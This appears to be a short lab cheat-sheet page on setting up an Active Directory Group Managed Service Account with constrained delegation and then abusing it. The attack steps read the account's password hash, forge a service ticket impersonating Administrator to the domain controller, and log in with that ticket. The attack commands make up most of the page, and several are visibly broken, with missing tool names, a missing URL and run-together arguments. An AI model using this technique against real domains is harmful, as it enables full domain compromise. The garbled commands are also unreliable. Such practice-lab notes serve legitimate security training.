Group Managed Service Accounts (GMSA)

GMSA Account & Constrained Delegation


Add-KdsRootKey –EffectiveTime ((get-date).addhours(-10)) 
New-ADServiceAccount -Name sql_svc -DNSHostName vulnlab.local -PrincipalsAllowedToRetrieveManaged "gmsa-readers"
Set-ADServiceAccount -Identity sql_svc -TrustedForDelegation $true
Set-ADAccountControl -Identity sql_svc$ -TrustedForDelegation $false -TrustedToAuthForDelegation $true

Then, in the AD Users & Computers GUI, set msDS-AllowedToDelegateTo attribute of sql_svc to "DNS/dc.vulnlab.local" (or whatever SPN you want to allow constrained delegation to).

In order to read the GMSA password later you have to enable LDAPS (Add Role "Active Directory Certificate Services" and restart).


Read GMSA password & use it to exploit the constrained delegation.

python3 -u <user in gmsa-readers group> -p '' -d vulnlab.local vulnlab.local/sql_svc$ -hashes :<hash>-spn DNS/dc.vulnlab.local -impersonate Administrator -dc-ip dc.vulnlab.local

export 'KRB5CCNAME=Administrator.ccache' Administrator@dc.vulnlab.local -k -no-pass

Sometimes you will have to sync your local time to either a targets webserver, or just google.

sudo date -s "$(curl -sI| grep -i '^date:'|cut -d' ' -f2-)"


Last updated